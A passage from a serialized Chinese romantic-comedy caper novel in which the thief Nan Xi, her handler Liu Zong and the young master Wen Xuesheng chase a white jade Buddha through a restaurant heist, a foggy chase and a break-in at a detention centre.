而那张保命符也趁机散开了。 温雪生无力地喊:“你,你要干什么?” 南希站在床边,居高临下。 “本想温柔浪漫一点,但你好像不喜欢。” 她扯掉仅残留在温雪生下半身的kitty棉毯。 “现在,你知道我要干什么了吧?” 温雪生表情痛苦,咬紧了下唇。 装饰粉嫩的房间内,涂着白漆的木床渐渐晃动,渐渐快要散架,又渐渐恢复平静。 …… 许久,温雪生把头埋进枕头。那枕头发出瓮声瓮气的声音:“我们一直这样,会,会不会……” 南希气喘吁吁:“会什么?” 温雪生:“……算了……” “嗯?” 又过了许久。 “……生,小孩……” 南希斜眼看他,那张好看的脸蛋还陷在枕头里。 “啊,这个呀……”她望向天花板,“我可能不孕不育。” 温雪生没再出声。 南希翻过去,把他的脸掰正,看到忽闪的睫毛和羞红又略带委屈的眉眼。 她尽量憋笑:“你想生小孩呀?” 温雪生使劲压低脑袋,好像脑袋是多余的一样。 南希最终还是没憋住,笑出来。 温雪生恼羞成怒,捂住她的嘴。南希侧身钻进他因抬手露出的颈窝。 “其实,除了不孕不育这件事,我还有别的要跟你坦白,就是我真的只藏了你一个小白脸,那个什么强,什么小帅……” “别说了。”温雪生打断她,声音沙哑,“我不想听你的过去……” 他坐直身体,问:“我的衣服,你放哪儿了?” “坏了。”南希也从床上坐直,“还在洗衣机呢!” “你洗了我衣服?” “你不知道自己流了多少汗,不洗的话得臭了。” “我裤子口袋里有东西。” “哦,对!”南希从床头柜取出一个牛皮纸信封,在温雪生眼前一晃:“你是说这个?” “嗯。”温雪生卷曲的睫毛垂下,挡住了他的右眼,“里面是你的800块钱,还你。” 南希打开信封。 还真是一沓一百大钞…… 只不过—— “这不是我给你的那800块,上面没有我的记号。” “你在钱上做记号?” “假币太多,这是我从小养的习惯。” “……你那些钱我用了,放心,这些不是假币。” 南希知道他在撒谎,他压根就没有花钱的地方。 但她不打算拆穿。她看着他,不说话,只是坏笑,并趁机把信封又塞回他手里。 “什么意思?”温雪生乱飞的视线定在了南希身上。信封被狠狠摔下地,发出“嘭”的巨响。 人民币不规则地露出半截。 “你究竟把我当什么人?!” 温雪生又生气了,南希赶紧用两根指头戳着他的嘴角往上挑,硬挑出一个哭丧的笑脸,可对方握着她的手腕不放,南希一甩没甩开,便使劲甩,到最后,两个人几乎要打起来。 就在这时,电话铃响了。 叮铃铃…… 是家里的座机。 南希如释重负,温雪生打不过她,但她需要给他留面子,留面子就得装,装不好被发现又会打架…… 她还从来没这么感激过一个电话。 “有人找我!”丢下这句话,她逃也似地跑了。 但没一会儿,她的声音再次出现。 “温大少,李管事找!” 温雪生捡起不知何时掉地板上的Kitty棉毯,然后认真地把自己裹好,光着脚下地,走出门。 他经过的每一处,都掀起了一阵阴风。 他抢过南希手里的电话,阴声说:“喂。” “少爷!”电话那头很激动,“听张小姐说,您的病好了?” “你怎么知道这里的电话?” “嘿嘿,上了点手段。张小姐手机打不通,我就找到了这个座机号。” “我不想再听到这种事,我不是那个老头,不干口口社会的事。” “是是是,少爷说的是。我就是太急了,我这有两件急事跟您汇报。上午骑摩托车那个人我也上手……也找着了。还有,老大打电话,说他明天要来看您……” 两分钟后,温雪生挂断电话。 南希已经不在身边。 他听着动静寻到客厅。 沙发上坐着位穿睡衣的女孩,乱糟糟、毛茸茸的头发洒了一肩。 女孩低着头,手里抱着个“黑石块”,正在反复戳弄。 “什么破东西,还要一万块,打都打不开!” 温雪生走过去。 “让我看看。” 大概过了五分钟,他把一个亮着黑白光的摩托罗拉还了回去。 南希接过手机:“这也太神奇了。” 温雪生坐到她身边。 “好像快没电了,记得充电。” “电池的事?” “不是,记得充电就好。” “好好好。” 南希继续戳弄手机。 “你怎么修好的呀?教教我呗。” “以后再说。”温雪生盯着忽闪忽闪的手机长条屏,“李管事刚刚告诉我,他在开运全羊馆守株待兔,等到了上午骑摩托车的人。” 南希抬起头。 温雪生继续:“除此之外,他还在全羊馆附近看到了一个鬼鬼祟祟的人。那人他恰好认识,你也认识,之前,你们在济东大学的校园湖边碰过面。” 南希愣了一秒钟,然后迅速拿起手机,指尖在6和8之间来回飞掠。 哔—哔哔—哔— 摩托拉罗特有的手机铃响了。 很微弱,像是从遥远的地方传来的。 等等,摩托拉罗怎么会响? “喂,小张啊——!” 听筒里有刘总疲惫的声音。 同样的声音也出现在客厅内。 南希和温雪生对视了一眼。 这声音隔着一面墙。 不,一扇门。 刘总的声音是打门外传进来的! “——你终于记起给我打电话了!” “刘总——” 南希已经跑到门口,打开门。 “——你怎么回来了?!” 透过防盗门缝隙,她看到刘总岔劈着腿坐在地上,脸上好像多了些褶子,啤酒肚似乎小了一圈儿。 “我他妈就没走!”刘总单手扶墙,缓慢起身,“小张,你家里藏着小白脸,叫我怎么放心走啊?我倒要看看他是——”最后一个“谁”字没出口,刘总“哎呦”一声,满脸五官痛苦地挤在了一起。 南希二话没说,拉开防盗门去扶他。 哪想人没扶着。 刘总像一只灵活的企鹅,眨眼功夫就窜到了防盗门后。 只见他一手掐腰,一手朝前猛戳空气。 “哪个小白脸?!你给我出——” 同一时间,刘总微小的瞳孔里,头戴暗黑眼罩,身披松散棉毯,裸体若隐若现的男人缓缓起了身。 这人眉毛浓郁,颜色就比墨稍淡一点;皮肤很白,比女孩都白的那种;身形有些偏瘦,但也不能说他身材差,倒显出一种柔和的美。 的确是个,小白脸…… 刘总喉结连动两下,嘴里这句充满气势的喊话,以一个有气无力的“来”字草草结尾。 然后他哑了声。 而那小白脸没有一丝惊慌,唇角隐隐勾出一个弧形:“刘总,你好,又见面了。” 刘总云里雾里,回头寻找南希的眼睛,用眼神与她交流:这谁?我什么时候见过这么帅的小白脸?! 南希已经得意忘形。 她伸了个懒腰,双手扣在后脑勺上。 “哎呀,刘总!你当然见过他呀!要不你再好好看看?我给你个提示啊,元旦夜,小山坡,温沙城堡。” 刘总舌头打结。 “温,温,温,温少爷??!!” 第23章 老板娘 记忆里并没有温少爷的模样。 那个人脸上乱纹盘踞,一股污浊的寒意裹挟着他,比鬼更令人心颤。 不可能是他。 刘总又有了胆儿。 “小张,你可别随便拿温少爷来压我,我跟你说,我不吃你这一套!” “谁压你了!再说,我哪敢随便借温大少的势啊。”南希走到温雪生身边,抬手在他脸前比划,“刘总,你看看他这眼睛,看看他这鼻子,你再仔仔细细地琢磨琢磨,要是温大少脸上的东西没了,是不是就长这样?人家温大少家里什么实力,他这个脸,不是分分钟治好的事儿?” 刘总与温雪生的独眼相对,迅速逃离。 “小张,有水吗?” 不及回复,他从茶几上端起一个大玻璃杯,“咕咚咕咚”的,把里面的水一口气全灌了下去。 南希制止的手晚了一步。 “诶,这水都好几天了!” 刘总像没听着,抹了把嘴角的水渍,抬头。 “就算是温少爷,也不行!”他昂起三层下巴,“温少爷,你在一个女孩子家里穿成这样,你好意思不?我都替你感到丢人呐!我们小张,那可是大学生,正儿八经的好姑娘,不是……” 南希闻了闻那个玻璃杯,确定刘总喝的是水不是酒,打断他:“好了好了,刘总……” 温雪生又打断南希。 “我倒是不想穿成这样。” 他脸色发青。 刘总瞅南希:“他什么意思?” 南希抿抿嘴,把温雪生发病,衣服被洗的事儿缺斤少两地讲给刘总。 刘总越听,眉心越紧:“小张,这就是你的不对了,我怎么记得你家有好多大版型的衣服?” 这回儿,轮到温雪生瞅南希。他漆黑的右眼瞪得滚圆,一副不敢置信的摸样。 南希一闭眼:“哦,对!刘总,你不说我都快忘了,我这就去拿!” 她逃了。 温雪生揪紧棉毯,追过去。 咣当—— 房间门重重地阖上。 屋里面“嘀哩嘣隆”发出一阵躁动。 那扇门再次被打开时,温雪生拉着脸,穿着身粉红色羊毛连衣裙走了出来。 而他身后的南希笑眯眯的,看起来心情极好。 胜负已分。 刘总叹了口气:“唉,温少爷,小张是调皮了点儿,不过这也正说明她内心单纯啊。我是男人,你也是男人,作为男人,我想给你一句劝告,这世上最不能玩的就是人心。虽然你家境雄厚,小张与你门不当户不对,但是你俩如果真要有了什么,你必须对小张负责……” 南希双手堵住刘总的嘴。 “刘总,说点儿正事吧!” 声音比往常高了三四倍,只为掩盖刘总的胡言乱语,却也掩盖住了温雪生低沉而坚定的声音: “好。” 刘总扒拉开南希的手:“正事可不能在这儿说……” 南希见他充满顾虑地偷瞟温雪生,笑说:“温大少是自己人。” 刘总:“我说你这孩子单纯,你还真是单纯!” 话没讲完,他就看到南希当着他的面牵起了温雪生的手,像是在表达自己的信任。 刘总想翻白眼,干脆破罐子破摔:“小张,我说了你可别后悔啊!” 南希:“啰里啰唆,快说!” “唉!”刘总无可奈何,“小张,你不知道啊,你要的那个宝贝,我今天差点就弄到手了!要不是碰着——”他抬手指温雪生,“——温沙城堡的大管事。” “呵。”南希挑眉,”所以你急匆匆找我,是为了这个?”她看看温雪生,又看看刘总,颇有种看好戏的感觉,“有点儿意思啊,如果我猜得没错,刘总,你是在开运路24号碰到李管事的吧?而且,就在来我家之前。” 刘总:“对,在那个全羊馆!诶,你咋知道?” 南希两眼眯起来:“刘总,你说巧不巧,就在刚刚,李管事跟温大少告状,说你妨碍了他的计划。”她伸脖子探向前,“所以,刘总,今天你为什么会去开运路24号?” * 二月十六,七点半。 刘总憨笑着,跟背着厚重书包、跑进校园的闺女挥手再见。然后,他开车去附近的早市割了三斤猪头肉。 老板看他开奥迪,死活不肯让价,他决定下次骑二八自行车来。 他的小生意最近不景气,不需要时刻靠上,做完这些便回了家。 家里没人,媳妇已经上班去了。 他带上围裙,收拾桌子上的剩饭。闺女挑食的毛病还是没改,不喝奶不吃鸡蛋黄,全剩在了碗里,这咋长个儿啊? 他今晚得跟她聊聊。 这样想着,蛋黄混着凉奶被他喝进了肚子。 他打了个饱嗝,开始扫地。 扫到书房,听到机器“吱吱吱”的打印声,抬眼,一份文件正从传真机里慢慢出现。 他在围裙上抹了两下,小跑过去,谨慎地拿起文件。 刘总: 您看下这张图。 (图片) 宝物架第二层最左边的东西就是这次的任务目标,水晶月亮。但是架子前安了一层透明玻璃罩,上了锁。图上这个老板娘还一直站在前面,我找不到合适的机会行动。我急需您的帮助。希望您假扮成顾客去跟老板娘聊聊天,这样可以吸引她的注意力,帮我创造偷东西的时机。 如果您答应我的求助,请您十点前赶到开运路24号。 (希望您能早点去,店里没别的客人,我的成功率会更高。) 非常感谢! ——小王 刘总皱着眉头看完,找了个打火机把文件点燃。 他盯着地上渐渐变成灰烬的文件,嘟囔:“小王的水平就是不如小张,这么点儿事,还得我帮忙……” 小王是他去年才接的新执行人,他本不想接,可这些年他所对接的执行人一个个退休了,手里就只剩下南希一个,组织便强行给他塞了这位曾被三四位接头人拒绝过的十七岁皮小子。 “唉,文化也不行,难怪人家都不要他……竟然说做任务是偷东西,这是偷东西吗?……” 等等! 那是什么!? 刘总心头一紧,慌忙冲地面一阵乱踩,最后从火焰中救下一截发黑的文件。 他小心翼翼地捡起文件,弹掉灰尘,终于可以确认上面的图像: 被烧掉头的老板娘,胸前挂着块拳头大小的开心玉佛像。 玉佛…… 刘总意识到问题,立马甩掉围裙,冲进客厅,拿起桌子上的摩托罗拉,按下南希的电话号码。 “老天爷,这里怎么也有个白玉佛啊?……妈的,怎么不接电话?!这个点儿她应该还没去殡仪馆啊……” 两个小时后,刚开门的开运全羊馆迎来了当天的第一位客人。 贵客,开奥迪的大老板。 老板娘一身红,特喜庆,她笑盈盈地把红纸黑字的菜单递过去:“老板,您可真有口福,我们今早刚宰了头羊,您这就来了,那羊啊,肯定是为您宰的。” 刘总摆手:“诶诶诶,可不是为了我啊,这个因果不能算我头上啊。” 说话间,两只小眼自然地扫过老板娘的胸脯。 老板娘的胳膊像蛇一样拍打刘总的肩膀:“呦,老板,您还信这个呀?——” 她胸前的玉佛清晰可见,不像黑白图像无法分辨颜色。这个玉佛果真是白色的。 “——这当然不能算您头上,得算我们头上!我们为了照顾好您的胃,所以才宰了羊!——” 质地柔和、光泽油润,是块上等的白玉! “——诶,老板?您想什么呢?” 刘总回神,咧开嘴:“能想啥,想羊啊!新鲜?” “诶呀!那可不,新鲜得都没边了!您快看看来点儿什么?” 刘总坐下,眼睛扫菜单,同时几缕余光从眼角窜出。 “这个。”他指着菜单中间,并没看清那是什么,“还有这个,这个……” 老板娘一边听他说,一边记菜名,忽然停笔,“扑哧”笑出声:“老板,这大早上的,您就吃这么重的呀?”? 刘总定睛一瞅。 指尖竟然按着“羊鞭”俩字。 而他刚才点的“这个跟这个”则是羊腰子和羊大肠…… 造孽。 “啊,呵呵呵……”刘总苦笑,“看叉劈了。” 他决定专心点菜。 因为,仅凭余光也观察不出什么。 虽然他暂时没找到小王,但他相信小王肯定已经藏在暗处,他只需要帮他吸引注意力,他又没说让他做别的。现在要紧的是老板娘身上的白玉佛…… 正想着,一个黑糊糊的身影闯入了视线: 瘦得跟猴子似的小王,正大光明地从后门摇了进来,还冲他比了个OK。 刘总的老鼠眼睁大,狂咳不止。 老板娘扶住他:“诶呀,老板,您这是咋地了?对了,瞧我这脑子,您都来了老半天了,还没给您倒口水喝,您等着……” 老板娘刚要转身,胳膊肘忽然被刘总拽住。 “没,咳咳咳,没事,咳咳……我就是被,咳咳咳咳,口水,咳,呛着了……” 老伴娘替他顺气:“哦,您慢点说就行,您的意思是不喝水,喝水咳得更厉害对吧?” 刘总连连点头:“是是是,来,点菜,点菜。” 他举起菜单,开念:“咳咳,羊肉串十个,羊腿一对,羊蝎子一盆,羊杂汤一碗……” 老板娘反应不迭,手中的圆珠笔在纸上“唰唰”飞舞,也不问刘总能吃得了吗,反正大老板开大奥迪,不会差她钱。 刘总却肉疼,权衡来权衡去,决定这顿饭得让小王掏钱。 面前,老板娘沉迷记菜名,嘴角已经翘到了耳根。 她后头的瘦猴小王,也已经顺利摸到宝物架的金属锁。 一切还算顺利,如果那辆奔驰没来的话。 突然间,一道剧烈的发动机轰鸣迅速逼近。 刘总闻声望去,瞧见一辆黑色奔驰在全阳馆的玻璃门前打了个漂移。 下一秒,车上下来个身量不算高的中年男人。 那人西装革履,脸上刀疤纵贯。 只见他一脚踹开大门,朝老板娘怒吼道: “你!别以为换身打扮我就不认识了!!!” 第24章 拉面 “刘总,我给你捋捋啊,咱俩分开后,你先回了家,又去了全羊馆,最后来了我这儿,对吗?”南希问刘总。 “对,啊不对,我去全羊馆前还上你学校找你来着,要不我早到全羊馆了。”刘总回。 “我真谢谢你。”南希微笑,“刘总,按你刚才讲的,后来李管事发现自己认错了人,为了给老板娘赔不是,也点了份大餐。他的这个做法影响了你和小王的计划,所以到最后,你没弄到我要的宝贝,小王也没弄到他的?” “就是这么回事儿。”刘总瞪温雪生,“也不知道那个大管事脑子里都装了些什么,还好意思告……” 南希截断他的话:“刘总,那个没烧干净的图,你没扔吧?” “小张,你这样说我可就不高兴了,咱是干啥的,这么重要的线索我咋会会扔?”刘总从裤兜掏出一个叠成小方块的东西,“给你,你自己看,老板娘身上带的就是白玉佛,错不了的!” 南希展开方块,目光顿时凛了下去。 “谢谢,刘总,这个信息非常有用。”她起身,“我要去趟开运路24号。” 不等面前俩男人张口喊出类似“我陪你去”的话,南希又说:“这趟,我自己去。别激动,你们听我把话讲完。小生生,你是肯定不能去的,你这小体格,别又晕半道儿。还有刘总,你能飞檐走壁吗?不能的话就别跟着我,麻烦帮忙把温大少送回温沙城堡,谢谢。” 刘总不开心:“小张,你还挺会安排的啊,也不问问我俩愿不愿意。” 南希抱起双臂:“那你俩愿意吗?嗯?小生生?”她刻意朝温雪生眨了眨眼。 “不愿意。” 温雪生不领情,与刘总几乎异口同声地回了这句话,然后他继续说:“你打算什么时候去开运路?” “嗯……晚上吧,光线暗不容易被发现。” “那么刘总也没必要现在送我。” “哦,好像也是……” “现在时间两点,我还没吃东西。” 南希愣住。 刘总趁机假惺惺吆喝她:“诶呀,小张,这就是你的不对了,温少爷身体不好,吃饭得按时啊。”他拍腿起身,“小张,你家有啥菜,温少爷要是不嫌弃,我去给咱都弄点吃的。” 温雪生皱眉,是嫌弃的表情。 南希赶紧把他的眉心抚平:“怎么会嫌弃呢?刘总做的菜比五星级大酒店的都好吃!”然后她压低声音凑温雪生耳边,“你尝尝就知道了。” 南希手快,刘总就没瞧见温雪生的眉头。他对南希的答案很满意,美滋滋进了厨房。没一会儿,他探出脑袋:“小张,你家蒜上哪儿去了?” 南希正蹲在电视桌前调信号,略不耐烦:“就在冰箱旁边的筐子里啊。” 刘总:“我找了,没有啊。” 南希:“你长了眼睛吃饭的啊?” “不信你自己来找!” “行!我要是找着了,你得叫我奶奶!”说着,她从电视桌拿起遥控器,扔给沙发上的温雪生,“想看什么自己调台,不过我这信号不太行,我平时都看录像带。”她又冲厨房喊,“奶奶来了,小刘,你别后悔啊。” 五分钟后,南希拉着脸地从厨房走出来,可能没被叫奶奶,反而叫了别人爷爷。 她没瞧着温雪生,无精打采地找他,忽然看见一个粉红色的身影从茶几底下掏出一盘录像带,竟立马来了精神。 “别动!” 温雪生一哆嗦,录像带掉在地上,露出两个丰乳肥臀的美女封面。 南希冲过去,捡起录像带背到身后。 “你怎么乱翻我东西!?” 温雪生觉得她莫名其妙:“是你让我看录像带的。” “……我说的是我平时看录像带!不是你可以看录像带!”南希一屁股坐沙发,把手里的录像带塞进两个沙发垫的缝隙,“再说,你想看的话告诉我,我给你找啊,哪有自己拿的道理……”她见温雪生好像又要生气,声音软下去,赶紧转移话题,“啊,那个,小生生,家里没蒜了,做饭不香,走,我带你下馆子去。”话音方向一转,“刘总,别做饭了,咱出去吃好的,我请客!” 温雪生抓住沙发:“我不去。” 南希凑近他:“为什么?” 长刘海少年瞪着一只惊恐的大眼睛,粉红毛线连衣裙紧紧勒着他偏瘦的身体。 南希恍悟:“别害羞嘛,人长得好穿什么都好。你穿这个其实挺好看的,现在正流行,这叫Fashion!对吧,刘总?” 刘总刚从厨房出来,被南希这么没头没尾的一问,懵了头,就算不懵,他也夸不出口,大男人穿粉裙子,在他眼里那是神经病、臭变态。 南希继续:“你看,刘总都默认了!走吧走吧!” 她伸手去拉温雪生。 温雪生宁死不从,沙发被他抓出了褶子:“我就算死,也不会穿这身出去!” 半个小时后,小张拉面。 虽然不是饭点儿,店里仍有不少人。 人们的视线被一个上身黑貂大衣,下身粉红毛裙套秋裤的独眼大高个儿吸引。 老板娘眯缝着眼迎上来。 “诶呀,这男孩女孩?可真俊啊!” 温雪生一听,转头就走。南希拦着他:“来都来了,吃口再走啊。”她又冲老板娘笑,“我男朋友,帅不?” 老板娘视线不离温雪生:“帅啊,我看着比明星都帅。” 南希咧嘴:“我们出来玩,他衣服湿了没得穿,只能暂时穿我的,你们别笑他,他超容易害羞的。”说这句话时,她刻意提高了嗓音。 不少客人收回了视线,没收回去的,视线里的好奇也变成了羡慕。 老板娘怕真把这小帅哥吓跑了,丢了生意,赶紧着补:“哎呀,你俩感情可真好啊,小姑娘,你瞧瞧那边上还有张桌子,你们坐那去吧,隐秘!” 南希比OK手势:“好嘞,谢谢您。我们要三份大碗牛肉拉面,红烧的!” 老板娘回头冲厨房喊:“三碗大红烧!” 刘总在旁边听着,全程没说一句话,脸色要多难看有多难看,吃饭时,他故意坐南希身边,让温雪生坐去对面。 这样坐好后,他心里舒坦了些,便又开始假惺惺替温雪生说话:“小张,拉面这种东西,咱们这种小老百姓吃吃也就算了,温少爷什么身份,你怎么能请他吃这个呀?” 南希看温雪生:“你要不喜欢,咱们就走,去大酒店。” 温雪生不自在,小店浑浊的空气让他不自在,色迷迷的老板娘让他不自在,周围乱七八糟的目光和噪音让他不自在,甚至身下硬邦邦的凳子,面前油腻腻的桌子,插在木桶里似乎带着饭菜残渣的筷子都让他不自在,但他还是僵硬地摇了摇头,回:“来都来了,尝一口再走。” 南希抿嘴笑,打木桶里抽出两根筷子拍桌上:“听着了没,刘总!?” 刘总被堵得面红耳赤,开不了口,等三碗拉面上齐后才再次张嘴,但也不是说话,他饿坏了,就着头大蒜“出溜”了一大口拉面。 温雪生皱眉。 他从没见过有人吃饭这么不文雅,仔细听听,周围好像也都是这种粗鲁的声音。 但他决定把这个想法藏在心里,他找了个借口:“这个太多了,我吃不了……”长睫毛一眨,“要不……还是去酒店吧……” 南希噘嘴:“只是看起来多!不是说了尝一口嘛!” “哦……”温雪生对自己的出尔反尔感觉不好意思,而且也不想扫兴,强忍着心里的厌嫌,仔细观察刘总,闭上眼准备“出溜”拉面。 南希拿筷子敲他的手:“烫!你别光看他,你也看看我啊!” 温雪生捂着手,视线转过去,带有一丝火气。 南希冲他眨眼,手中筷子戳进面碗,将一条条拉面一圈圈卷到筷子上。 “看,拉面得这样吃,不烫嘴,还香。” 温雪生声音弱:“太快了,看不清。” 南希放慢速度,重新演示。 温雪生学着她的模样转动筷子,几次尝试后,却连一根拉面都没缠住。 南希看不下去:“笨啊,我来!”她夺过温雪生的筷子,在他碗里绕了好几圈,把卷好的拉面连根拔起,伸到温雪生嘴边,“啊——张嘴。” 温雪生:“你干什么……?” 南希:“张嘴!” 温雪生僵硬地张开嘴,下一秒,拉面被喂进嘴里,碰上舌尖。 “好吃吗?” 舌尖轻轻翘起,牙齿轻轻咬下。 他点头:“……好吃。” “真的?” “嗯。”他又咬了一口。 面前那星星似的眼睛闪出明光,然后变成了月牙一样的太阳。 “我就说嘛!这可是我小时候最最最最喜欢吃的!” 温雪生觉得耀眼,别过头。 “嗯……我,我自己来吧。” 他抬手去接筷子。 刘总趴碗里刚吸完一大口面,抬起头时恰巧看到这一幕,嚷道:“诶诶诶,你俩干嘛呢?” 温雪生的胸口本就怦怦的,被他突然吼了一嗓子,心直接跳到了嗓子眼儿,接筷子的手堪堪握到南希手上。 刘总忍不了:“怎么还越说越来劲?温少爷,你这样可不行,这是在公共场合!” 温雪生缩回手,整张脸胀得通红,却强撑气场,用冷冰冰的声音警告刘总:“请想明白,你在跟谁说话。” 刘总失声,嘴角微微发颤,下意识看向南希。 南希幸灾乐祸,夸张地一拍桌子:“就是!刘总,注意言辞,人家可是个大少爷。” 温雪生的阴森视线又转向南希:“你讽刺我?” “啊?”南希乐极生悲,“天地良心,绝对没有!” 温雪生咬下唇,把筷子插回面碗,气冲冲出了面馆。 周边,是八卦的窃窃私语和追随他离开的花痴眼。 远处,老板娘朝他的背影喊:“小帅哥,可不能当着老丈人面跟女朋友吵架呀!诶,下次再来啊!” 刘总和南希大眼对小眼,迅速扒了几口面,一抹嘴,追出去。 门外,温雪生被一个小贩拦了下来。 那小贩刚把小摊车停稳,硬往温雪生手里塞了盒贴着俩美女的录像带:“日本的,好看!你们年轻人准喜欢,租一天只要3块!” 南希站在小张拉面的招牌下,风吹乱了地上的尘土和破塑料袋子,也吹乱了她的头发。 她看着温雪生和小贩的背影,戳刘总胳膊:“老刘啊,温大少你送回家啊,我先撤了。” 下一秒,打扮纯美的女孩以百米成绩10.74s的速度,没了影儿。 第25章 大雾夜 大雾夜,没有星星,也没有月亮。 开运全羊馆亮着红灯笼,光线弥漫发散,笼罩着门口的摩托车,也渗入馆内。 前台宝物架上又多了新的宝贝。 两块反着幽暗红光的白玉佛吊坠并排挂在墙上。 佛像开口笑,映在前面的玻璃罩上,落入“红发女鬼”的黑眼睛里。 南希杵在这十分钟了,贴身的秋衣已经被汗水浸透,右眼皮一直在跳。 她觉得今天就不该带温雪生回家,也不该带他吃拉面。 她到现在都慌慌的,连第六感都失了灵。她实在分辨不出,眼前的白玉佛哪个是真,哪个又是假…… 真的一模一样,光泽、质地、细纹,全一样。 硬币抛了两次,一次左,一次右。 老天爷也不管她了。 她觉得今天就不该带温雪生回家,也不该…… 算了,干脆俩佛一块拿了,总有真的。 她拉开紧身衣,从内衣边缘取出钢丝,准备开锁。 玻璃罩上突然反射出一道飞影,一闪即过。 接着,身后传来玻璃碎片砸地的“叮铃”声。 南希眼珠一斜,随即瞳孔缩紧——全羊馆的后窗破了个洞,有东西翻了出去! 鬼…… 只一刹那,她的眼眶就盈上了泪,双手哆嗦着加快了速度。 宝物架的玻璃罩开了。 她把两块白玉佛一并划走,拔腿就跑。 便在这时,空荡荡的全羊馆,多了第二个人的声音: “如果想要真白玉佛,就跟我来。” 破碎的窗户外,红影摇曳。 不是红灯笼,也不是鬼。 鬼没影子。 是人…… 南希稍稍恢复几分理智,垂眼看手里的白玉佛,竟然都是假的……她今天就不该带温雪生回家,运气都被吸走了…… 她把白玉佛一抛,纵身跃出窗户,追着那影子跑入雾气泛滥的黑暗。 影子有跟她一模一样的红发,步伐矫健,速度也与她相当。 南希想起温雪生的话: “有人在王有才死亡现场附近看到了一个披着红色头发的背影。目前,警察已经锁定‘红发女鬼’为犯罪嫌疑人。” 几分钟后,她被带进一片小树林,红光氤氲的全羊馆已经消失在视线。 双腿便在这时停了下来。 “喂,别跑了!” 她冲跑在前面的“红发女鬼”喊。 那女鬼放缓脚步,像是在等她,发现她没有要继续追下去的意思后,也停了下来。 南希露出微笑,这个笑没有人能看到,因为浓雾遮住了天上的月亮。她的整张脸都隐在黑暗里。 “我认出你了。你的背影太有特色,并且我眼睛太尖,记忆力又太好。”南希语气自在,“景天华盛顿厅,王有才的监控录像,还有济东殡仪馆,都有你。你就是开摩托车、打坏监控的服务生吧?” 那“红发女鬼”定在原地,没回话。 南希隐约看到一个漂亮的人形轮廓,她踱步上前,继续自己的分析:“你当服务生,混进王有才的别墅,都是为了白玉佛,因为你知道,真正的‘红发女鬼’也在找这东西。” 那轮廓一动不动。 “你不出声,看来我猜对了。那我再大胆猜下,你偷走白玉佛时被王有才识破了身份,所以你捅了他,并且嫁祸给‘红发女鬼’。你,张笑远,以及全羊馆的老板娘是一伙儿的,你们有着不同的分工。你行动敏捷,负责偷盗,张笑远人长得帅,负责分散视听,老板娘虽然独守全羊馆,但她的任务并不比你们轻,她负责吸引‘红发女鬼’多余的火力。 “只是有一点我想不明白,你们费尽心思,甚至不惜杀人也要把‘红发女鬼’引出来,到底是为了什么?”南希的眼珠左右转动,“该不会她曾经偷了你们的宝贝,你们怀恨在心……该不会这附近设有要命的机关吧——” 说着,南希脚底生风,消失在雾中。 “——那我只能,先下手了。” 等那假红发女鬼意识到这话已经逼近耳边时,只觉得一双游蛇般的手摸遍了自己的前胸、腰腹和双腿。 然而,她仍不动声色。 南希蹭着她的肩膀,从她身后直接窜到了面前两米之外。 枯叶在黑色漩涡中打转儿。 南希收回手,眼睛凝出一道犀利的光。 白玉佛竟然不在她身上! 怎么回事…… “为什么你一直不说话?”她开始有些心慌,在这样的夜色下,她也无法看到对面人的表情。 “唉,”黑暗里终于有了假“红发女鬼”的声音,听起来十分慵懒,“话都让你说了,我还能说什么呢?” 南希:“真白玉佛究竟被你藏哪了?!” “哦,原来你想让我说这个呀。我还以为你想问我,你刚才的胡言乱语是说中了一分还是两分?”那女鬼不紧不慢,语气里充满戏谑,“你别急呀,白玉佛这种宝贝当然是藏在安全的地方喽,比如说,你再往前跑个两公里,跑出这片小树林,就能看到济阳区看守所……” 呜哩呜哩—— 不远处突然爆发起尖锐的警笛。 南希下意识回头,可周围太黑了,她只能根据距离和方向判断警笛的位置。 那是在……在全羊馆附近! 另一边,假“红发女鬼”好似想到了什么。 “哦,对了,”她幽幽地说,“刚刚从店里走的时候,我报了警。我跟警察叔叔说红发女鬼来我家偷东西了。好在咱俩逃得快些,要是穿成这样被警察看着,可就跳进黄河都洗不清了。” 随着话音的落地,黑漆漆的浓雾里又起了风。 南希来不及惊讶,她感觉到对方在跑,且十分迅速。 只是,她不打算再追。 既然白玉佛不在她身上,她已经没有再追下去的理由。 还有,她不想多事。 这个假“红发女鬼”她暂时看不透。 她很少做没把握的事,也很少会被情绪束缚。 她的头脑十分清醒,她明白现在最要紧的只有一点,找到白玉佛。 南希反复琢磨了下对方“逃走”之前的话,觉得哪怕她在说谎,目前,自己必须去的地方,好像也只有济阳区看守所。 根据情报,王有才别墅里的年轻女孩,应该还被拘留在里面。说不定能从她们身上得到白玉佛的线索。 另外,看守所往西两百米就是公安局。 “红发女鬼”身涉杀人及连环偷窃多重大案,抓捕这种级别的犯罪嫌疑人,公安机关定会派出大量警力,所以现在,济阳区公安局附近的警备必有缺陷,而她混进看守所的风险会大大降低,即使不慎被巡逻的狱警发现,也能轻松找出逃跑的突破口。 南希动身,加速奔跑。 这是唯一的机会! 时间紧迫,她必须在警力恢复之前,从看守所全身而退! * “瞄~~” 济阳区看守所。 一个年轻狱警追着一条大橘猫跑到杂草丛生的墙角。 “喵喵喵~咪咪,你饿了吧?吃肉肉。” 年轻狱警用牙齿剥开一根双汇火腿肠,递到橘猫嘴边。 这只猫他已经喂了一年多,但还是摸不到它的脾性。 橘猫抬起爪子,拨了几下火腿肠的红衣服,突然“瞄”的一声,双爪直扑向前,以狱警的胸膛为跳板,一跃飞到了墙外。 “咪咪!你干啥呀?!” 狱警没站稳,双手撑地,视线向上。 刚刚橘猫消失的地方,竟然多了一片乱飞的红发。 他只觉得脖颈一麻,胳膊肘顿时打了弯,才被撑住的身体垮了下去。 南希跳下墙,收好袖口的微型麻醉枪,回头往墙外扔了三条鱼干。 “谢了。”她冲外面那只正欢快乱跳的橘猫说。 流浪狗、流浪猫在南希多年从业经历中,常常扮演得力助手的角色。随身携带鱼干和肉骨头是她的工作习惯之一。 看守所这只橘猫看起来十岁左后,相当于人类五十多岁,精得很,也因为它够精,才不受普通火腿的诱惑,也才有本事帮南希在这么隐秘的地方,放倒一个专业的狱警。 巧的是,这狱警和她身高胖瘦相差不大。南希用眼睛比量,运气不错,他身上的警服正合适。 五分钟后,预警“小刘”回到工作岗位,只是帽檐比平时压得低了些。 看守所的预警并不多,又值深夜,“小刘”很容易就避开同事的视线,悄悄溜进档案室,在一摞文件里翻到了二月十五号被收进看守所的、全部人员的信息。 然后,“他”确定房号,确认钥匙。 做完这些,“他”自然地穿过明晃晃的走廊,穿过两手边紧闭的监室,驻足在029号监室前。 